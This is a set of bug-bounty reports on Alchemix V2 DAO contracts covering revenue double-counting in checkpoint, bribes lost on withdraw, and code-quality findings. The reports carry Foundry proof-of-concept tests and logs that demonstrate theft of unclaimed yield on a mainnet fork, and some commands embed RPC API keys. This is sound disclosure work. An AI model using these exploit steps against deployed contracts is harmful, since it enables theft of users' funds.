        voter.vote(tokenId1, pools, weights, 0);
        hevm.prank(Bob);
        voter.vote(tokenId2, pools, weights, 0);
        hevm.prank(Chris);
        voter.vote(tokenId3, pools, weights, 0);

        address bribeAddress = voter.bribes(address(sushiGauge));
        createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);

        voter.distribute();
        hevm.prank(Alice);
        voter.poke(tokenId1);

        hevm.warp(block.timestamp + nextEpoch);

        address[] memory bribes = new address[](1);
        bribes[0]  = bribeAddress;
        address[][] memory tokens = new address[][](1);
        tokens[0] = new address[](1);
        tokens[0][0] = bal;

        console2.log("earned                    :", IBribe(bribeAddress).earned(address(bal), tokenId1));
        console2.log("earned                    :", IBribe(bribeAddress).earned(address(bal), tokenId2));
        hevm.prank(Alice);
        voter.claimBribes(bribes, tokens, tokenId1);
        console2.log("bal.balanceOf(Alice)      :", IERC20(bal).balanceOf(Alice));
        console2.log("bal.balanceOf(Bob)        :", IERC20(bal).balanceOf(Bob));
    }

    function testAliceEpochRewardsNoPoke() public {
        uint256 period = minter.activePeriod();

        hevm.warp(period + nextEpoch);
        hevm.roll(block.number + 1);

        deal(address(alcx), address(voter), TOKEN_100K);

        hevm.prank(address(voter));
        sushiGauge.notifyRewardAmount(TOKEN_100K);

        address Alice = address(0x11001100);
        address Bob   = address(0x22002200);
        address Chris = address(0x33003300);
        // Create a veALCX token and vote to trigger voter rewards
        uint256 tokenId1 = createVeAlcx(Alice, TOKEN_1, MAXTIME, false);
        uint256 tokenId2 = createVeAlcx(Bob, TOKEN_1, MAXTIME, false);
        uint256 tokenId3 = createVeAlcx(Chris, TOKEN_1, MAXTIME, false);
        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;
        address[] memory gauges = new address[](1);
        gauges[0] = address(sushiGauge);

        hevm.prank(Alice);
        voter.vote(tokenId1, pools, weights, 0);
        hevm.prank(Bob);
        voter.vote(tokenId2, pools, weights, 0);
        hevm.prank(Chris);
        voter.vote(tokenId3, pools, weights, 0);

        address bribeAddress = voter.bribes(address(sushiGauge));
        createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);

        voter.distribute();

        hevm.warp(block.timestamp + nextEpoch);

        address[] memory bribes = new address[](1);
        bribes[0]  = bribeAddress;
        address[][] memory tokens = new address[][](1);
        tokens[0] = new address[](1);
        tokens[0][0] = bal;

        console2.log("earned                    :", IBribe(bribeAddress).earned(address(bal), tokenId1));
        console2.log("earned                    :", IBribe(bribeAddress).earned(address(bal), tokenId2));
        hevm.prank(Alice);
        voter.claimBribes(bribes, tokens, tokenId1);
        console2.log("bal.balanceOf(Alice)      :", IERC20(bal).balanceOf(Alice));
        console2.log("bal.balanceOf(Bob)        :", IERC20(bal).balanceOf(Bob));
    }
```


# 31253 - \[SC - Critical] RevenueHandlercheckpoint isnt correctly

Submitted on May 15th 2024 at 20:16:14 UTC by @jasonxiale for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31253

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RewardsDistributor.sol>

Impacts:

* Theft of unclaimed yield

## Description

## Brief/Intro

`RevenueHandler.checkpoint` isn't correctly when `tokenConfig.poolAdapter` is **0**, which cause `epochRevenues` record wrong number, so some users will claim more token than expected, and other user can't claim the tokens

## Vulnerability Details

`RevenueHandler.checkpoint` isn't correctly when `tokenConfig.poolAdapter` is **0**, which cause `epochRevenues` record wrong number, so some users will claim more token than expected, and other user can't claim the tokens

## Vulnerability Details

In [RevenueHandler.checkpoint](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/RevenueHandler.sol#L228-L268), if `tokenConfig.poolAdapter` is zero, `epochRevenues[currentEpoch][token] += amountReceived;` is used to update value, and `thisBalance` is equal to `IERC20(token).balanceOf(address(this))` **The issue is that `IERC20(token).balanceOf(address(this))` may contains the token that hasn't been claimed. In such case, it means that the amount will be added twice.**

```solidity
228     function checkpoint() public {
229         // only run checkpoint() once per epoch
230         if (block.timestamp >= currentEpoch + WEEK /* && initializer == address(0) */) {
231             currentEpoch = (block.timestamp / WEEK) * WEEK;
232 
233             uint256 length = revenueTokens.length;
234             for (uint256 i = 0; i < length; i++) {
	...
244 
245                 uint256 thisBalance = IERC20(token).balanceOf(address(this));
246 
247                 // If poolAdapter is set, the revenue token is an alchemic-token
248                 if (tokenConfig.poolAdapter != address(0)) {
	...
258                 } else {
259                     // If the revenue token doesn't have a poolAdapter, it is not an alchemic-token
260                     amountReceived = thisBalance;  <<<--- thisBalance is IERC20(token).balanceOf(address(this));

261 
262                     // Update amount of non-alchemic-token revenue received for this epoch
263                     epochRevenues[currentEpoch][token] += amountReceived; <<<--- += is used here
264                 }
265 
266                 emit RevenueRealized(currentEpoch, token, tokenConfig.debtToken, amountReceived, treasuryAmt);
267             }
268         }
269     }
```

## Impact Details

`epochRevenues` isn't updated correctly in some case, so some users will claim more token than expected, and other user can't claim the tokens

## References

Add any relevant links to documentation or code

## Proof of Concept

Put the following code in `src/test/RevenueHandler.t.sol` and run

```bash
FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/0TbY2mhyGA4gLPShfh-PwBlQ3PDNUdL1 --fork-block-number 17133822 --mc RevenueHandlerTest --mt testTwoCheckpoint -vv
[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for src/test/RevenueHandler.t.sol:RevenueHandlerTest
[PASS] testTwoCheckpoint() (gas: 2223762)
Logs:
  currentEpoch                    : 1686182400
  revenueHandler.epochRevenues    : 1000000000000000000000
  dai.balanceOf(revenueHandler)   : 1000000000000000000000
  revenueHandler.claimable        : 1000000000000000000000
  currentEpoch                    : 1687392000
  revenueHandler.epochRevenues    : 1000000000000000000000
  dai.balanceOf(revenueHandler)   : 1000000000000000000000
  revenueHandler.claimable        : 2000000000000000000000
  currentEpoch                    : 1688601600
  revenueHandler.epochRevenues    : 1000000000000000000000
  dai.balanceOf(revenueHandler)   : 1000000000000000000000
  revenueHandler.claimable        : 3000000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.07ms (2.69ms CPU time)

Ran 1 test suite in 1.22s (6.07ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

As we can see from the test, only `1000e18` DAI is transferred to `revenueHandler`, but the `tokenId` can claim 3000e18 DAI

```solidity
    function testTwoCheckpoint() external {
        uint256 currentEpoch;
        uint256 WEEK = 2 weeks;
        revenueHandler.setPoolAdapter(dai, address(0));

        uint tokenId = _initializeVeALCXPosition(10e18);

        _jumpOneEpoch();
        _jumpOneEpoch();
        _jumpOneEpoch();

        uint256 revAmt = 1000e18;
        _accrueRevenue(dai, revAmt);
        revenueHandler.checkpoint();
        currentEpoch = (block.timestamp / WEEK) * WEEK;

        console2.log("currentEpoch                    :", currentEpoch);
        console2.log("revenueHandler.epochRevenues    :", revenueHandler.epochRevenues(currentEpoch, dai));
        console2.log("dai.balanceOf(revenueHandler)   :", IERC20(dai).balanceOf(address(revenueHandler)));
        console2.log("revenueHandler.claimable        :", revenueHandler.claimable(tokenId, dai));

        _jumpOneEpoch();
        revenueHandler.checkpoint();
        currentEpoch = (block.timestamp / WEEK) * WEEK;
        console2.log("currentEpoch                    :", currentEpoch);
        console2.log("revenueHandler.epochRevenues    :", revenueHandler.epochRevenues(currentEpoch, dai));
        console2.log("dai.balanceOf(revenueHandler)   :", IERC20(dai).balanceOf(address(revenueHandler)));
        console2.log("revenueHandler.claimable        :", revenueHandler.claimable(tokenId, dai));

        _jumpOneEpoch();
        revenueHandler.checkpoint();
        currentEpoch = (block.timestamp / WEEK) * WEEK;
        console2.log("currentEpoch                    :", currentEpoch);
        console2.log("revenueHandler.epochRevenues    :", revenueHandler.epochRevenues(currentEpoch, dai));
        console2.log("dai.balanceOf(revenueHandler)   :", IERC20(dai).balanceOf(address(revenueHandler)));
        console2.log("revenueHandler.claimable        :", revenueHandler.claimable(tokenId, dai));
    }
```


# 31258 - \[SC - High] Loss of Unclaimed Bribes After Burning veALCX T...

Submitted on May 15th 2024 at 21:09:32 UTC by @Limbooo for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31258

Report type: Smart Contract

Report severity: High

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Permanent freezing of unclaimed yield

## Description

## Introduction

This report details a vulnerability discovered in the VotingEscrow\.sol contract of the Alchemix V2 DAO. The issue arises when users withdraw their locked veALCX tokens. During this process, unclaimed rewards are intended to be claimed, but the system fails to account for the potential bribes earned through voting interactions. Consequently, users who withdraw their veALCX tokens lose their right to claim these bribes, leading to permanent loss of rewards.

## Vulnerability Details

When a user withdraws their locked veALCX tokens (interacting with `VotingEscrow::withdraw`), the contract ensures that any unclaimed ALCX rewards and FLUX are claimed before the token is burned, resulting in the user losing their control over the token as they are no longer its owner.

```solidity
src/VotingEscrow.sol:
  741:     function withdraw(uint256 _tokenId) public nonreentrant {
..SNIP..
@>767:         // Claim any unclaimed ALCX rewards and FLUX
  768:         IRewardsDistributor(distributor).claim(_tokenId, false);
  769:         IFluxToken(FLUX).claimFlux(_tokenId, IFluxToken(FLUX).getUnclaimedFlux(_tokenId));
  770: 
  771:         // Burn the token
@>772:         _burn(_tokenId, value);
  773: 
  774:         emit Withdraw(msg.sender, _tokenId, value, block.timestamp);
  775:     }
..SNIP..
  1558:     function _burn(uint256 _tokenId, uint256 _value) internal {
  1559:         address owner = ownerOf(_tokenId);
..SNIP..
  1570:         // Remove token
@>1571:         _removeTokenFrom(owner, _tokenId);
  1572:         emit Transfer(owner, address(0), _tokenId);
  1573:         emit Supply(supplyBefore, supplyAfter);
  1574:     }
```

While this procedure is generally acceptable, an issue arises when the user has interacted with the `Voter` contract and voted for pools (the user may have used their FLUX to boost their votes). The bribes earned from these votes will be lost if the user withdraws their token and subsequently attempts to claim their bribes. This is because `Voter::claimBribes` checks the ownership status of the token, and after the token is burned, the user is no longer considered its owner, preventing them from claiming their rewards.

```solidity
src/Voter.sol:
  332:     function claimBribes(address[] memory _bribes, address[][] memory _tokens, uint256 _tokenId) external {
@>333:         require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, _tokenId));
  334: 
  335:         for (uint256 i = 0; i < _bribes.length; i++) {
  336:             IBribe(_bribes[i]).getRewardForOwner(_tokenId, _tokens[i]);
  337:         }
  338:     }
```

## Impact Details

The primary impact of this vulnerability is the permanent loss of bribes for users who withdraw their veALCX tokens. This occurs because the ownership check in the `Voter::claimBribes` function fails after the token is burned. Consequently, users are unable to claim rewards they have rightfully earned, leading to dissatisfaction and potential loss of trust in the protocol.

## Mitigation Analysis

To mitigate this issue, it is recommended to enhance the withdrawal process to ensure that there are no unclaimed bribes before allowing the token to be burned. Here are a few suggested approaches:

1. **Prevent Withdrawal if Bribes are Unclaimed**: Implement a check in the `VotingEscrow::withdraw` function to prevent the withdrawal if there are unclaimed bribes. This ensures that users must claim their bribes before they can withdraw and burn their veALCX tokens.
2. **Force Bribe Claiming During Withdrawal**: Similar to how unclaimed ALCX rewards and FLUX are claimed during withdrawal, modify the withdrawal process to enforce the claiming of any unclaimed bribes. This would involve adding logic to claim bribes within the `withdraw` function, ensuring users receive all due rewards before their token is burned.
3. **New Restriction of ClaimBribes Function**: A new layer of security replaces the current check, could involve restricting who can call the `Voter::claimBribes` function to ensure that only valid claims are processed. However, this might be less effective than ensuring bribes are claimed during the withdrawal process. Also, it may has some drawbacks and establish a new way to manipulate the flow of voter contract specialty for cases like this issue where the veALCX is burned or ended (I remember proofing a vulnerability and it was prevent by the check of ownabilty of the token in `claimBribes`).

## References

* VotingEscrow\.sol#L737-L775: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L737-L775>
* VotingEscrow\.sol#L1558-L1575: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1558-L1575>
* Voter.sol#L331-L339: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L331-L339>

## Proof of concept

### Test Case (Foundry)

The test can be added to a new file under the current test suite `src/test/VotingPoC.t.sol`, then specify the file name in `FILE` flag under `Makefile` configuration. Run using `make test_file`

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "./BaseTest.sol";

contract VotingPoCTest is BaseTest {
    address public alice;
    address public bob;

    function setUp() public {
        setupContracts(block.timestamp);

        // Setup Alice address
        alice = hevm.addr(uint256(keccak256(abi.encodePacked('Alice'))));
        vm.label(alice, 'Alice');
    }

    function testParmentFreesingOfBribesAfterWithdrowLocks() public {
        uint256 firstPeriodStart = minter.activePeriod();

        // Forwards 1 day from the begining of the current epoch.
        hevm.warp(firstPeriodStart + 1 days);

        // Mint new veALCX token for Alice with 1e18 amount and 3 weeks locks time.
        uint256 tokenId = createVeAlcx(alice, TOKEN_1, 3 weeks, false);

        address bribeAddress = voter.bribes(address(sushiGauge));
        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 10000;

        address[] memory bribes = new address[](1);
        bribes[0] = address(bribeAddress);
        address[][] memory tokens = new address[][](1);
        tokens[0] = new address[](1);
        tokens[0][0] = bal;

        // Alice Vote
        hevm.prank(alice);
        voter.vote(tokenId, pools, weights, 0);

        // Reward amount
        uint256 rewardAmount = TOKEN_100K;
        // Notify bribe for reward amount
        createThirdPartyBribe(bribeAddress, bal, rewardAmount);

        // Next epoch started
        hevm.warp(firstPeriodStart + 2 weeks +  1 seconds );
        voter.distribute();

        // Check Alice has earned a reward
        assertEq(IBribe(bribeAddress).earned(bal, tokenId), rewardAmount);

        // Forwards to the end of Alice's veALCX locks end
        hevm.warp(firstPeriodStart + 3 weeks + 1 seconds );
        // Check that Alice's veALCX had ended
        assertGt(block.timestamp, veALCX.lockEnd(tokenId));

        // Alice decided to withdraw his locks
        // First he need to reset his vote statues
        hevm.prank(alice);
        voter.reset(tokenId);
        // Then, start cooldown of his veALCX
        hevm.prank(alice);
        veALCX.startCooldown(tokenId);
        // Now he should wait for 1 week untill cooldowd ends to be able to withdraw
        hevm.warp(firstPeriodStart + 4 weeks + 1 seconds);
        // Since we enter the next epoch, distribute (not needed but it will called in real world scenario)
        voter.distribute();
        // Save the earned bribes before withdrawing
        uint256 bribesErnedBeforeWithdraw = IBribe(bribeAddress).earned(bal, tokenId);
        // Check that the rewards equal to the first epoch reward amount.
        assertEq(bribesErnedBeforeWithdraw, rewardAmount);

        // Now Alice's veALCX is withdrawable at current moment.
        hevm.prank(alice);
        veALCX.withdraw(tokenId);

        // Compare the reward earned before and after withdrawing.
        uint256 bribesErnedAfterWithdraw = IBribe(bribeAddress).earned(bal, tokenId);
        assertEq(bribesErnedBeforeWithdraw, bribesErnedAfterWithdraw);
        // Make sure that the current reward earnd is more than zero
        assertGt(bribesErnedAfterWithdraw, 0);

        // Now if Alice try to claim his bribes, it will revert.
        hevm.prank(alice);
        hevm.expectRevert();
        voter.claimBribes(bribes, tokens, tokenId);
        // This happning because after withdrawing he lost his rights on the veALCX token, since it will be burned.
        // Here we check that he is no longer the owner of the token.
        assertFalse(veALCX.isApprovedOrOwner(alice, tokenId));
        // While this is not an issue, he should lose the rights of controling the token after withdrawing his locks,
        // but the issue is that he lost his bribes.
    }
}
```

#### Test Output

```bash
alchemix-v2-dao main 1m44s
❯ make test_file
FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.g.alchemy.com/v2/*** --match-path src/test/VotingPoC.t.sol -vv
[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for src/test/VotingPoC.t.sol:VotingPoCTest
[PASS] testParmentFreesingOfBribesAfterWithdrowLocks() (gas: 5702775)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 94.97s (82.32s CPU time)

Ran 1 test suite in 96.74s (94.97s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```


# 31263 - \[SC - Critical] RevenueHandlercheckpoint counts unclaimed rewar...

Submitted on May 15th 2024 at 22:47:08 UTC by @yttriumzz for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31263

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol>

Impacts:

* Theft of unclaimed yield

## Description

## Brief/Intro

Anyone calls `RevenueHandler.checkpoint` to update the reward for the current epoch. `checkpoint` will calculate the reward based on the reward token balance of the contract. However, these balances include unclaimed rewards. In other words, the unclaimed rewards of some users are included in the rewards of the new epoch.

## Vulnerability Details

Please look at the following code. When `tokenConfig.poolAdapter` is not set, `thisBalance` is directly used as the reward for the new epoch.

```solidity
///// https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/RevenueHandler.sol#L245-L264
                uint256 thisBalance = IERC20(token).balanceOf(address(this));

                // If poolAdapter is set, the revenue token is an alchemic-token
                if (tokenConfig.poolAdapter != address(0)) {
                    // Treasury only receives revenue if the token is an alchemic-token
                    treasuryAmt = (thisBalance * treasuryPct) / BPS;
                    IERC20(token).safeTransfer(treasury, treasuryAmt);

                    // Only melt if there is an alchemic-token to melt to
                    amountReceived = _melt(token);

                    // Update amount of alchemic-token revenue received for this epoch
                    epochRevenues[currentEpoch][tokenConfig.debtToken] += amountReceived;
                } else {
                    // If the revenue token doesn't have a poolAdapter, it is not an alchemic-token
                    amountReceived = thisBalance;

                    // Update amount of non-alchemic-token revenue received for this epoch
                    epochRevenues[currentEpoch][token] += amountReceived;
                }
```

**Suggested fix**

Record the balance as a reward instead of using all the balance directly

## Impact Details

Users who claim rewards every epoch will receive more rewards, and other users will receive less rewards

## References

None

## Proof of concept

The PoC patch

```diff
diff --git a/src/test/RevenueHandler.t.sol b/src/test/RevenueHandler.t.sol
index 7908478..fd9cbe6 100644
--- a/src/test/RevenueHandler.t.sol
+++ b/src/test/RevenueHandler.t.sol
@@ -644,4 +644,58 @@ contract RevenueHandlerTest is BaseTest {
         revenueHandler.setTreasury(admin);
         assertEq(revenueHandler.treasury(), admin, "treasury should be admin");
     }
+
+    function testYttriumzzPocTemp() external {
+        // 1. init test env
+        deal(bal, address(this), 10000e18);
+        veALCX.checkpoint();
+
+        address user1 = address(0xacc1);
+        address user2 = address(0xacc2);
+        deal(bpt, user1, 1e18);
+        deal(bpt, user2, 1e18);
+
+        // 2. user1 and user2 mint $veToken with 1e18 BPT
+        hevm.startPrank(user1);
+        IERC20(bpt).approve(address(veALCX), 1e18);
+        uint256 tokenId1 = veALCX.createLock(1e18, 0, true);
+        hevm.stopPrank();
+
+        hevm.startPrank(user2);
+        IERC20(bpt).approve(address(veALCX), 1e18);
+        uint256 tokenId2 = veALCX.createLock(1e18, 0, true);
+        hevm.stopPrank();
+
+        vm.warp(block.timestamp + 2 weeks);
+        veALCX.checkpoint();
+
+        // 3. checkpoint 1, user1 claim the rewards
+        IERC20(bal).transfer(address(revenueHandler), 100e18);
+        revenueHandler.checkpoint();
+        vm.warp(block.timestamp + 2 weeks);
+
+        hevm.startPrank(user1);
+        revenueHandler.claim(tokenId1, bal, address(0), revenueHandler.claimable(tokenId1, bal), user1);
+        hevm.stopPrank();
+
+        // 4. checkpoint 2, user1 and user2 claim the rewards, user2 claim revert
+        IERC20(bal).transfer(address(revenueHandler), 100e18);
+        revenueHandler.checkpoint();
+        vm.warp(block.timestamp + 2 weeks);
+
+        hevm.startPrank(user1);
+        revenueHandler.claim(tokenId1, bal, address(0), revenueHandler.claimable(tokenId1, bal), user1);
+        hevm.stopPrank();
+
+        hevm.startPrank(user2);
+        uint256 toClaimable = revenueHandler.claimable(tokenId2, bal);
+        hevm.expectRevert("Not enough revenue to claim");
+        revenueHandler.claim(tokenId2, bal, address(0), toClaimable, user2);
+        console.log("claimable of user2 is %s, but revert", toClaimable);
+        hevm.stopPrank();
+
+        console.log("IERC20(bal).balanceOf(user1): %s", IERC20(bal).balanceOf(user1));
+        console.log("IERC20(bal).balanceOf(user2): %s", IERC20(bal).balanceOf(user2));
+        console.log("IERC20(bal).balanceOf(address(revenueHandler)): %s", IERC20(bal).balanceOf(address(revenueHandler)));
+    }
 }
```

Run the PoC

```bash
FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/VFefkgjj8h3SgRYcCvmtp9KoMJJij6gD --fork-block-number 17133822 -vvv --match-test testYttriumzzPocTemp
```

The log

```bash
$ FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/VFefkgjj8h3SgRYcCvmtp9KoMJJij6gD --fork-block-number 17133822 -vvv --match-test testYttriumzzPocTemp
[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for src/test/RevenueHandler.t.sol:RevenueHandlerTest
[PASS] testYttriumzzPocTemp() (gas: 3021917)
Logs:
  claimable of user2 is 125000000000000000000, but revert
  IERC20(bal).balanceOf(user1): 125000000000000000000
  IERC20(bal).balanceOf(user2): 0
  IERC20(bal).balanceOf(address(revenueHandler)): 75000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 35.59ms (19.80ms CPU time)

Ran 1 test suite in 1.81s (35.59ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```


# 31264 - \[SC - Insight] Multiple Reports QALowOOS Medium

## Multiple Reports: QA/Low/OOS Medium

Submitted on May 15th 2024 at 22:57:26 UTC by @The\_Seraphs for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31264

Report type: Smart Contract

Report severity: Insight

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/AlchemixGovernor.sol>

Impacts:

* Contract fails to deliver promised returns, but doesn't lose value

### Description

## AS PER RECOMMENDATION FROM PROJECT IN DISCORD:

Ref: <https://discord.com/channels/787092485969150012/1232293258760028180/1238623014044827728>

### QA

#### (1) Use of a modifier to remove repetition and clean-up functions

In multiple contracts the repitition of the following require statement is present

e.g. `AlchemixGovernor.sol`, `VotingEscrow.sol`, `Voting.sol`.

```solidity
    require(msg.sender == admin, "not admin");
```

The protocol could benefit from implementing a `modifier` in place of the `require()` statements that exists across multiple functions and contracts.

```solidity
    modifier onlyAdmin() {
        require(msg.sender == admin, "not admin");
        _;
    }
```

#### (2) Zero address checks

There are several contracts that utilise a zero address check in constructors or functions. However, the use of `require` conditions throughout the contracts may become gas heavy with repeated calls.

**Examples from `RevenueHandler`, `Minter`, `VotingEscrow`, `RewardPoolManager`, `Fluxtoken`**

```solidity
    constructor(address _veALCX, address _treasury, uint256 _treasuryPct) Ownable() {
        veALCX = _veALCX;
        require(_treasury != address(0), "treasury cannot be 0x0");
        treasury = _treasury;
        require(treasuryPct <= BPS, "treasury pct too large");
        treasuryPct = _treasuryPct;
    }

...

    function setTreasury(address _treasury) external {
        require(msg.sender == admin, "not admin");
        require(_treasury != address(0), "treasury cannot be 0x0");
        treasury = _treasury;
        emit TreasuryUpdated(_treasury);
    }

...

    function delegate(address delegatee) public {
        require(delegatee != address(0), "cannot delegate to zero address");
        return _delegate(msg.sender, delegatee);
    }

...

    function swapOutRewardPoolToken(uint256 i, address oldToken, address newToken) external {
        require(msg.sender == admin, "not admin");
        require(rewardPoolTokens[i] == oldToken, "incorrect token");
        require(newToken != address(0));

        isRewardPoolToken[oldToken] = false;
        isRewardPoolToken[newToken] = true;
        rewardPoolTokens[i] = newToken;
    }

...

    function whitelist(address _token) public {
        require(msg.sender == admin, "not admin");
        require(_token != address(0), "cannot be zero address");
        _whitelist(_token);
    }

...

    function setMinter(address _minter) external onlyMinter {
        require(_minter != address(0), "FluxToken: minter cannot be zero address");
        minter = _minter;
    }
```

#### Suggestions:

**The protocols contract's could be improved in several ways, to name a couple:**

1. Gas Efficiency: They reduce the cost of deploying and interacting with your contract by avoiding the storage of error strings in the bytecode. This efficiency is important for frequently called functions and during high gas price periods on the Ethereum network.
2. Code Clarity and Maintenance: Custom errors help in organising and streamlining error handling code. By defining errors in a single location and using them throughout the contract, you make your codebase easier to understand and modify. This structured approach is beneficial in large projects, with complex functions that repeat a lot of the checks - removing the need for duplication of code.

**Suggested custom error:**

**1. Basic Zero Address Error** A basic custom error for zero address checks.

```solidity
// Custom error to indicate an action was given a zero address
error ZeroAddress();
```

**2. Error with Context** You can enhance the custom error by including a parameter that specifies the context or the function where the error occurred.

```solidity
// Custom error with description of where the zero address was used
error ZeroAddress(string action);
```

**Usage example:**

```solidity
    function setTreasury(address _treasury) external override onlyOwner {
        if (_treasury == address(0)) {
            revert ZeroAddress("Updating treasury address");
        treasury = _treasury;
        emit TreasuryUpdated(_treasury);
    }
```

**3. Mixed Errors** In scenarios where different checks might lead to a zero address error under different conditions, defining multiple custom errors might be appropriate.

```solidity
    error InvalidRecipient();
    error NoZeroAddressAllowed(string parameter);
```

**Usage example:**

```solidity
...

    function delegate(address delegatee) public {
        if (delegatee == address(0)) {
            revert InvalidRecipient;
        return _delegate(msg.sender, delegatee);
    }

...
        
    function _mint(address _to, uint256 _tokenId) internal returns (bool) {
        // Throws if `_to` is zero address
        if (_to == address(0)) {
         NoZeroAddressAllowed("_to");
        
        ...
        
    }
```

#### (3) Inefficiency of loops in functions

The current implementation to add revenue tokens can be improved, saving gas, by introducing mapping into the contract, additionally, adjusting the remove revenue token to match the changes

***NB**: Changes to this function would then require adjustments to other existing functions such as, `checkpoint()`, which uses iteration of the `revenueTokens` array. Using an array to store the keys of the mapping and then iterate, would need to be implemented in the function.*

**Suggested changes**

```diff
-    address[] public revenueTokens;
+    mapping(address => bool) public revenueTokens;
```

```diff
    function addRevenueToken(address _token) public {
-       uint256 length = revenueTokens.length;
-       for (uint256 i = 0; i < length; i++) {
-           if (revenueTokens[i] == revenueToken) {
+           if (revenueTokens[_token]) {
                revert("Token already exists");
            }
-       revenueTokens.push(revenueToken);
+       revenueTokens[_token] = true;
        emit RevenueTokenTokenAdded(revenueToken);
    }
}
```

#### **Results: Gas saving**

***NB:** I made a new function and left the old one in, so the deployment cost won't have reduced due to this.*

```bash
// OLD FUNCTION IMPLEMENTATION
| src/RevenueHandler.sol:RevenueHandler contract |                 |       |        |       |         |
|------------------------------------------------|-----------------|-------|--------|-------|---------|
| Deployment Cost                                | Deployment Size |       |        |       |         |
| 2021361                                        | 9388            |       |        |       |         |
| Function Name                                  | min             | avg   | median | max   | # calls |
| addRevenueToken                                | 69249           | 69249 | 69249  | 69249 | 1       |
| owner                                          | 2343            | 2343  | 2343   | 2343  | 1       |

// NEW FUNCTION IMPLEMENTATION
| src/RevenueHandler.sol:RevenueHandler contract |                 |       |        |       |         |
|------------------------------------------------|-----------------|-------|--------|-------|---------|
| Deployment Cost                                | Deployment Size |       |        |       |         |
| 2076654                                        | 9644            |       |        |       |         |
| Function Name                                  | min             | avg   | median | max   | # calls |
| addRevenueTokenP                               | 44044           | 44044 | 44044  | 44044 | 1       |
| owner                                          | 2431            | 2431  | 2431   | 2431  | 1       |
```

```solidity
function removeRevenueToken(address revenueToken) public {
    if (!revenueTokens[revenueToken]) {
        revert("revenue token does not exist");
    }
    delete revenueTokens[revenueToken];
    emit RevenueTokenRemoved(revenueToken);
}

```

### Low

#### (1) RenounceOwnership still active from inherited Ownable contract

#### Title

Potential risk in `RevenueHandler` Due to `renounceOwnership()` inherited from Ownable contract

#### Overview

The `renounceOwnership` function inherited from OpenZeppelin's `Ownable` contract allows the contract owner to permanently transfer ownership to the zero address, effectively rendering the contract without an owner. This function could lock out administrative functions and prevent further updates or critical management actions in the `RevenueHandler` contract.

#### Effected Component

**Contract**: `RevenueHandler`

#### POC

* Add the following function to `RevenueHandler.t.sol`

```solidity
    function testRenounceOwnership() external {
        revenueHandler.renounceOwnership();
        assertEq(revenueHandler.owner(), address(0), "owner should be 0x0");
        // attempt to call a function in the contract and expect it not to work
        hevm.expectRevert();
        revenueHandler.addRevenueToken(dai);
        
    }
```

* Run in cli `forge test --mt testRenounceOwnership -vvvv` for full visibility of the trace

**Results**

```shell
Ran 1 test for src/test/RevenueHandler.t.sol:RevenueHandlerTest
[PASS] testRenounceOwnership() (gas: 14668)
Traces:
  [15575] RevenueHandlerTest::testRenounceOwnership()
    ├─ [6981] RevenueHandler::renounceOwnership()
    │   ├─ emit OwnershipTransferred(previousOwner: RevenueHandlerTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], newOwner: 0x0000000000000000000000000000000000000000)
    │   └─ ← [Stop] 
    ├─ [343] RevenueHandler::owner() [staticcall]
    │   └─ ← [Return] 0x0000000000000000000000000000000000000000
    ├─ [0] VM::expectRevert(custom error f4844814:)
    │   └─ ← [Return] 
    ├─ [651] RevenueHandler::addRevenueToken(0x6B175474E89094C44Da98b954EedeAC495271d0F)
    │   └─ ← [Revert] revert: Ownable: caller is not the owner
    └─ ← [Stop] 

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.88s (145.67µs CPU time)

Ran 1 test suite in 6.23s (5.88s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

#### Impact

Permanent loss of contract control:

* Loss of ability to call the following functions:
  * `addRevenueToken`
  * `setTreasury`
  * `setTreasuryPct`
  * `enableRevenueToken`
  * `disableRevenueToken`
  * `setPoolAdapter`
  * `setDebtToken`
  * `removeAlchemicToken`
  * `addAlchemicToken`
  * `removeRevenueToken`
  * `addRevenueToken`

#### Recommendation

